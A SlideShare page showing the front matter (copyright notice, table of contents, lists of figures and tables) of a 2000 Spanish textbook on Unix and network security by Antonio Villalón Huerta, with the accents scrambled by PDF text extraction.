Seguridad en Unix y Redes
Upcoming SlideShare
Loading in...5
×
 

Seguridad en Unix y Redes

on

  • 4,857 views

 

Statistics

Views

Total Views
4,857
Views on SlideShare
4,857
Embed Views
0

Actions

Likes
0
Downloads
26
Comments
0

0 Embeds 0

No embeds

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

Seguridad en Unix y Redes Seguridad en Unix y Redes Document Transcript

  • SEGURIDAD EN UNIX Y REDES Versi´n 1.2 o Antonio Villal´n Huerta o 2 de octubre de 2000
  • 2
  • iCopyright c 2000 by Antonio Villal´n Huerta. This material may obe distributed only subject to the terms and conditions set forthin the Open Publication License, v1.0 or later (the latest version ispresently available at http://www.opencontent.org/openpub/). Dis-tribution of substantively modified versions of this document isprohibited without the explicit permission of the copyright holder.Distribution of the work or derivative of the work in any standard(paper) book form is prohibited unless prior permission is obtainedfrom the copyright holder.
  • ii
  • ´Indice GeneralNotas del autor xiii1 Introducci´n y conceptos previos o 1 1.1 Introducci´n . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 1.2 Justificaci´n y objetivos . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 1.3 ¿Qu´ es seguridad? . . . . . . . . e . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 1.4 ¿Qu´ queremos proteger? . . . . e . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 1.5 ¿De qu´ nos queremos proteger? e . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.5.1 Personas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.5.2 Amenazas l´gicas . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 1.5.3 Cat´strofes . . . . . . . . a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 1.6 ¿C´mo nos podemos proteger? . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 1.7 Redes ‘normales’ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 1.7.1 Redes de I+D . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 1.7.2 Empresas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 1.7.3 ISPs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 1.8 ¿Seguridad en Unix? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17I Seguridad del entorno de operaciones 192 Seguridad f´ısica de los sistemas 21 2.1 Introducci´n . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 2.2 Protecci´n del hardware . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 2.2.1 Acceso f´ ısico . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 2.2.2 Desastres naturales . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 2.2.3 Desastres del entorno . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26 2.3 Protecci´n de los datos . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29 2.3.1 Eavesdropping . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29 2.3.2 Backups . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30 2.3.3 Otros elementos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31 2.4 Radiaciones electromagn´ticas . e . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 323 Administradores, usuarios y personal 35 3.1 Introducci´n . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . 35 3.2 Ataques potenciales . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35 3.2.1 Ingenier´ social . . . . . . . . ıa . . . . . . . . . . . . . . . . . . . . . . . . . . 35 3.2.2 Shoulder Surfing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37 3.2.3 Masquerading . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37 3.2.4 Basureo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38 3.2.5 Actos delictivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38 3.3 ¿Qu´ hacer ante estos problemas? . . . e . . . . . . . . . . . . . . . . . . . . . . . . . . 40 3.4 El atacante interno . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41 iii
  • iv ´ INDICE GENERALII Seguridad del sistema 454 El sistema de ficheros 47 4.1 Introducci´n . . . . . . . . . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . 47 4.2 Sistemas de ficheros . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48 4.3 Permisos de un archivo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50 4.4 Los bits suid, sgid y sticky . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53 4.5 Atributos de un archivo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56 4.6 Listas de control de acceso: ACLs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58 4.7 Recuperaci´n de datos . . . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . 61 4.8 Almacenamiento seguro . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62 4.8.1 La orden crypt(1) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62 4.8.2 PGP: Pretty Good Privacy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63 4.8.3 TCFS: Transparent Cryptographic File System . . . . . . . . . . . . . . . . . 64 4.8.4 Otros m´todos de almacenamiento seguro . . . e . . . . . . . . . . . . . . . . . 655 Programas seguros, inseguros y nocivos 69 5.1 Introducci´n . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . 69 5.2 La base fiable de c´mputo . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . 70 5.3 Errores en los programas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 5.3.1 Buffer overflows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71 5.3.2 Condiciones de carrera . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72 5.4 Fauna y otras amenazas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73 5.4.1 Virus . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74 5.4.2 Gusanos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75 5.4.3 Conejos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76 5.4.4 Caballos de Troya . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76 5.4.5 Applets hostiles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78 5.4.6 Bombas l´gicas . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . 79 5.4.7 Canales ocultos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79 5.4.8 Puertas traseras . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81 5.4.9 Superzapping . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81 5.4.10 Programas salami . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82 5.5 Programaci´n segura . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . 826 Auditor´ del sistema ıa 91 6.1 Introducci´n . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91 6.2 El sistema de log en Unix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91 6.3 El demonio syslogd . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92 6.4 Algunos archivos de log . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95 6.4.1 syslog . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95 6.4.2 messages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96 6.4.3 wtmp . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97 6.4.4 utmp . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98 6.4.5 lastlog . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98 6.4.6 faillog . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98 6.4.7 loginlog . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99 6.4.8 btmp . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99 6.4.9 sulog . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99 6.4.10 debug . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99 6.5 Logs remotos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100 6.6 Registros f´ ısicos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102
  • ´INDICE GENERAL v7 Copias de seguridad 105 7.1 Introducci´n . . . . . . . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . 105 7.2 Dispositivos de almacenamiento . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 106 7.3 Algunas ´rdenes para realizar copias de seguridad . o . . . . . . . . . . . . . . . . . . . 109 7.3.1 dump/restore . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 110 7.3.2 La orden tar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113 7.3.3 La orden cpio . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115 7.3.4 Backups sobre CD-ROM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116 7.4 Pol´ıticas de copias de seguridad . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1178 Autenticaci´n de usuarios o 121 8.1 Introducci´n y conceptos b´sicos . . . . . . . . . . . . o a . . . . . . . . . . . . . . . . . 121 8.2 Sistemas basados en algo conocido: contrase˜as . . . . n . . . . . . . . . . . . . . . . . 122 8.3 Sistemas basados en algo pose´ ıdo: tarjetas inteligentes . . . . . . . . . . . . . . . . . 122 8.4 Sistemas de autenticaci´n biom´trica . . . . . . . . . . o e . . . . . . . . . . . . . . . . . 124 8.4.1 Verificaci´n de voz . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . 126 8.4.2 Verificaci´n de escritura . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . 127 8.4.3 Verificaci´n de huellas . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . 128 8.4.4 Verificaci´n de patrones oculares . . . . . . . . o . . . . . . . . . . . . . . . . . 129 8.4.5 Verificaci´n de la geometr´ de la mano . . . . o ıa . . . . . . . . . . . . . . . . . 131 8.5 Autenticaci´n de usuarios en Unix . . . . . . . . . . . o . . . . . . . . . . . . . . . . . 132 8.5.1 Autenticaci´n cl´sica . . . . . . . . . . . . . . . o a . . . . . . . . . . . . . . . . . 132 8.5.2 Mejora de la seguridad . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1339 Seguridad del n´ cleo u 141 9.1 Introducci´n . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . 141 9.2 Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 142 9.2.1 Opciones de compilaci´n . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . 142 9.2.2 Dispositivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 144 9.2.3 Algunas mejoras de la seguridad . . . . . . . . . . . . . . . . . . . . . . . . . 144 9.3 Solaris . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 147 9.3.1 El subsistema de red . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 147 9.3.2 El fichero /etc/system . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 148 9.4 HP-UX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 149 9.5 IRIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 150 9.6 SCO Openserver . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151 9.7 Resumen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 153III Seguridad de la subred 15510 El sistema de red 157 10.1 Introducci´n . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . 157 10.2 Algunos ficheros importantes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157 10.2.1 El fichero /etc/hosts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157 10.2.2 El archivo /etc/ethers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 158 10.2.3 El fichero /etc/networks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 158 10.2.4 El fichero /etc/services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 158 10.2.5 El fichero /etc/protocols . . . . . . . . . . . . . . . . . . . . . . . . . . . . 159 10.2.6 El fichero /etc/hosts.equiv . . . . . . . . . . . . . . . . . . . . . . . . . . . 159 10.2.7 El fichero .netrc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 160 10.2.8 El fichero /etc/inetd.conf . . . . . . . . . . . . . . . . . . . . . . . . . . . . 161 10.3 Algunas ´rdenes importantes . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . 162 10.3.1 La orden ifconfig . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 162
  • vi ´ INDICE GENERAL 10.3.2 La orden route . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 163 10.3.3 La orden netstat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 164 10.3.4 La orden ping . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 165 10.3.5 La orden traceroute . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 167 10.4 Servicios . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16711 Algunos servicios y protocolos 171 11.1 Introducci´n . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . 171 11.2 Servicios b´sicos de red . . . . . . a . . . . . . . . . . . . . . . . . . . . . . . . . . . . 172 11.2.1 systat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 172 11.2.2 daytime . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 172 11.2.3 netstat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 173 11.2.4 chargen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 174 11.2.5 tftp . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 174 11.2.6 finger . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 175 11.2.7 POP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 175 11.2.8 auth . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 176 11.2.9 NNTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 177 11.2.10 NTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 177 11.2.11 UUCP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 178 11.3 El servicio FTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 178 11.3.1 FTP an´nimo . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . 179 11.3.2 FTP invitado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 185 11.4 El servicio TELNET . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 187 11.5 El servicio SMTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 189 11.6 Servidores WWW . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 190 11.7 Los servicios r-∗ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 192 11.8 XWindow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 194 11.8.1 Autenticaci´n por m´quina o a . . . . . . . . . . . . . . . . . . . . . . . . . . . . 195 11.8.2 Autenticaci´n por testigo . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19612 Cortafuegos 197 12.1 Introducci´n . . . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . 197 12.2 Caracter´ ısticas de dise˜o . . . . . . . . . . . n . . . . . . . . . . . . . . . . . . . . . . . 199 12.3 Componentes de un cortafuegos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 201 12.3.1 Filtrado de paquetes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 201 12.3.2 Proxy de aplicaci´n . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . 202 12.3.3 Monitorizaci´n de la actividad . . . o . . . . . . . . . . . . . . . . . . . . . . . 203 12.4 Arquitecturas de cortafuegos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 204 12.4.1 Cortafuegos de filtrado de paquetes . . . . . . . . . . . . . . . . . . . . . . . . 204 12.4.2 Dual-Homed Host . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 204 12.4.3 Screened Host . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 204 12.4.4 Screened Subnet (DMZ) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 205 12.4.5 Otras arquitecturas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 205 12.5 Caso de estudio: Firewall-1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 206 12.6 Caso de estudio: ipfwadm/ipchains . . . . . . . . . . . . . . . . . . . . . . . . . . . 20913 Kerberos 213 13.1 Introducci´n . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 213 13.2 Arquitectura de Kerberos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 214 13.3 Autenticaci´n . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 214 13.3.1 Login . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 214 13.3.2 Obtenci´n de tickets o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 215 13.3.3 Petici´n de servicio . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 215
  • ´INDICE GENERAL vii 13.4 Problemas de Kerberos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 216IV Otros aspectos de la seguridad 21914 Criptolog´ ıa 221 14.1 Introducci´n . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . 221 14.2 Criptosistemas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 222 14.3 Clasificaci´n de los criptosistemas . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . 223 14.3.1 Criptosistemas de clave secreta . . . . . . . . . . . . . . . . . . . . . . . . . . 223 14.3.2 Criptosistemas de clave p´blica . u . . . . . . . . . . . . . . . . . . . . . . . . . 224 14.4 Criptoan´lisis . . . . . . . . . . . . . . . a . . . . . . . . . . . . . . . . . . . . . . . . . 224 14.5 Criptograf´ cl´sica . . . . . . . . . . . . ıa a . . . . . . . . . . . . . . . . . . . . . . . . . 225 14.5.1 El sistema Caesar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 225 14.5.2 El criptosistema de Vig`nere . . e . . . . . . . . . . . . . . . . . . . . . . . . . 226 14.6 Un criptosistema de clave secreta: DES . . . . . . . . . . . . . . . . . . . . . . . . . 228 14.7 Criptosistemas de clave p´blica . . . . . u . . . . . . . . . . . . . . . . . . . . . . . . . 229 14.7.1 El criptosistema RSA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 229 14.7.2 El criptosistema de ElGamal . . . . . . . . . . . . . . . . . . . . . . . . . . . 230 14.7.3 Criptosistema de McEliece . . . . . . . . . . . . . . . . . . . . . . . . . . . . 231 14.8 Esteganograf´ . . . . . . . . . . . . . . ıa . . . . . . . . . . . . . . . . . . . . . . . . . 23215 Algunas herramientas de seguridad 233 15.1 Introducci´n . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . 233 15.2 Titan . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 233 15.3 TCP Wrappers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 245 15.4 SSH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 247 15.5 Tripwire . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 250 15.6 Nessus . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 252 15.7 Crack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25516 Pol´ıticas y normativa 259 16.1 Introducci´n . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . 259 16.2 An´lisis de riesgos . . . . . . . . . a . . . . . . . . . . . . . . . . . . . . . . . . . . . . 260 16.2.1 Identificaci´n de recursos . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . 260 16.2.2 Identificaci´n de amenazas o . . . . . . . . . . . . . . . . . . . . . . . . . . . . 260 16.2.3 Medidas de protecci´n . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . 262 16.3 Estrategias de respuesta . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 263V Ap´ndices e 265A Seguridad b´sica para administradores a 267 A.1 Introducci´n . . . . . . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . 267 A.2 Prevenci´n . . . . . . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . 268 A.3 Detecci´n . . . . . . . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . 272 A.4 Recuperaci´n . . . . . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . 275 A.5 Recomendaciones de seguridad para los usuarios . . . . . . . . . . . . . . . . . . . . 277 A.6 Referencias r´pidas . . . . . . . . . . . . . . . . . a . . . . . . . . . . . . . . . . . . . . 278 A.6.1 Prevenci´n . . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . 278 A.6.2 Detecci´n . . . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . 279 A.6.3 Recuperaci´n . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . 279 A.6.4 Usuarios . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 279
  • viii ´ INDICE GENERALB Normativa 281 B.1 Nuevo C´digo Penal . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 281 B.2 Reglamento de Seguridad de la LORTAD . . . . . . . . . . . . . . . . . . . . . . . . 285 B.3 Ley Org´nica de Protecci´n de Datos . . . . . . . . . . . . . . . . . . . . . . . . . . . a o 293C Recursos de inter´s en INet e 315 C.1 Publicaciones peri´dicas . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . 315 C.2 Organizaciones . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 316 C.2.1 Profesionales . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 316 C.2.2 Gubernamentales/militares . . . . . . . . . . . . . . . . . . . . . . . . . . . . 317 C.2.3 Universidades/educaci´n . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . 317 C.3 Criptograf´ . . . . . . . . . . . . . ıa . . . . . . . . . . . . . . . . . . . . . . . . . . . . 319 C.4 Seguridad general . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 320 C.5 Compa˜´ y grupos de desarrollo . nıas . . . . . . . . . . . . . . . . . . . . . . . . . . . . 320 C.5.1 Unix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 320 C.5.2 General . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 321 C.6 Sitios underground . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 322 C.6.1 Grupos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 322 C.6.2 Exploits y vulnerabilidades . . . . . . . . . . . . . . . . . . . . . . . . . . . . 322 C.7 Recursos en Espa˜a . . . . . . . . n . . . . . . . . . . . . . . . . . . . . . . . . . . . . 323 C.8 Listas de correo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 323 C.9 Grupos de noticias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 325 C.9.1 Criptolog´ . . . . . . . . . ıa . . . . . . . . . . . . . . . . . . . . . . . . . . . . 325 C.9.2 Unix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 325 C.9.3 Redes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 326 C.9.4 Misc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 326D Glosario de t´rminos anglosajones e 327Conclusiones 331
  • ´Indice de Figuras 1.1 Flujo normal de informaci´n entre emisor y receptor y posibles amenazas: (a) inter- o rupci´n, (b) interceptaci´n, (c) modificaci´n y (d) fabricaci´n. . . . . . . . . . . . . . o o o o 5 1.2 Visi´n global de la seguridad inform´tica . . . . . . . . . . . . . . . . . . . . . . . . . o a 11 3.1 El resultado de un basureo involuntario. . . . . . . . . . . . . . . . . . . . . . . . . . 39 4.1 Permisos de un fichero . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51 8.1 Estructura gen´rica de una smartcard. . . . . . . . . . . . . . . . . . . . . . . . . . . e 123 8.2 Huella dactilar con sus minucias extra´ ıdas. c 1998 Idex AS, http://www.idex.no/. 128 8.3 Iris humano con la extracci´n de su iriscode. . . . . . . . . . . . . . . . . . . . . . . . o 130 8.4 Geometr´ de una mano con ciertos par´metros extra´ ıa a ıdos. . . . . . . . . . . . . . . . 131 8.5 La herramienta de administraci´n admintool (Solaris), con opciones para envejeci- o miento de claves. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 139 12.1 (a) Aislamiento. (b) Conexi´n total. (c) Firewall entre la zona de riesgo y o el per´ ımetro de seguridad. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 198 12.2 Arquitectura DMZ. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 206 12.3 Ubicaci´n del Inspection Module dentro de la pila de protocolos osi. . . . . . . . o . . 207 12.4 Una imagen de fwlv. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 208 13.1 Protocolo de autenticaci´n Kerberos. . . . . . . . . . . . . . . . . . . . . . . . . . . . 216 o 14.1 Estructura de un criptosistema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 223 15.1 Interfaz gr´fico de Nessus. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 254 a ix
  • x ´ INDICE DE FIGURAS
  • ´Indice de Tablas 4.1 Atributos de los archivos en ext2fs. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57 7.1 Comparaci´n de diferentes medios de o almacenamiento secundario. . . . . . . . . . . 109 7.2 Opciones de la orden dump . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111 7.3 Opciones de la orden restore . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112 7.4 Opciones de la orden tar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 114 7.5 Opciones de la orden cpio. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115 8.1 Comparaci´n de m´todos biom´tricos. . . . . . . . . . . . . . . . . . . . . . . . . . . 125 o e e 8.2 C´digos de caracteres para el envejecimiento de contrase˜as. . . . . . . . . . . . . . . 137 o n 9.1 Par´metros del n´cleo para diferentes Unices . . . . . . . . . . . . . . . . . . . . . . 154 a u 13.1 Abreviaturas utilizadas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 215 14.1 Tableau Vig`nere . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 227 e xi
  • xii ´ INDICE DE TABLAS
